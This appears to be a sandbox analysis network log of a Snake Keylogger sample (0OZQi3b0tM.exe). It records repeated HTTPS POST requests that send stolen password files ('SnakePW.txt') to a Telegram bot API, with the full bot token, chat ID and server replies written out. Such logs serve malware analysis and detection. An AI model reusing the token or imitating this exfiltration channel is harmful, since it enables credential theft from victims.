2022-06-26 07:34:50 UTC	523	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 65 38 33 33 61 33 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571e833a3aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:51 UTC	524	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:51 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:51 UTC	524	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 39 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67098,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228891,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.5	50245	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:51 UTC	525	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571ebc7253 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:51 UTC	525	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 65 62 63 37 32 35 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571ebc7253Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:51 UTC	526	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:51 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:51 UTC	526	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 39 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67099,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228891,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.5	50247	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:51 UTC	526	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571ef80d03 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:51 UTC	527	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 65 66 38 30 64 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571ef80d03Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:51 UTC	527	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:51 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:51 UTC	528	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 31 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 39 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67100,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228891,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.5	50248	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:51 UTC	528	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571f314595 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:51 UTC	528	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 66 33 31 34 35 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571f314595Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:52 UTC	529	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:52 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:52 UTC	529	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 31 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67101,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228892,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.5	50249	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:52 UTC	530	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571f6a7df8 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:52 UTC	530	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 66 36 61 37 64 66 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571f6a7df8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:52 UTC	531	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:52 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:52 UTC	531	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 31 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67102,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228892,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.5	50250	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:52 UTC	531	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571fa618cf Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:52 UTC	532	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 66 61 36 31 38 63 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571fa618cfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:53 UTC	532	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:52 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:53 UTC	533	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 31 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67103,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228892,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.5	50251	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:53 UTC	533	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571fdf51fa Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:53 UTC	533	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 66 64 66 35 31 66 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571fdf51faContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49802	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:51 UTC	54	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756dc108764 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:51 UTC	54	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 63 31 30 38 37 36 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756dc108764Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:51 UTC	54	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:51 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:51 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 37 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66779,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228771,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49803	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
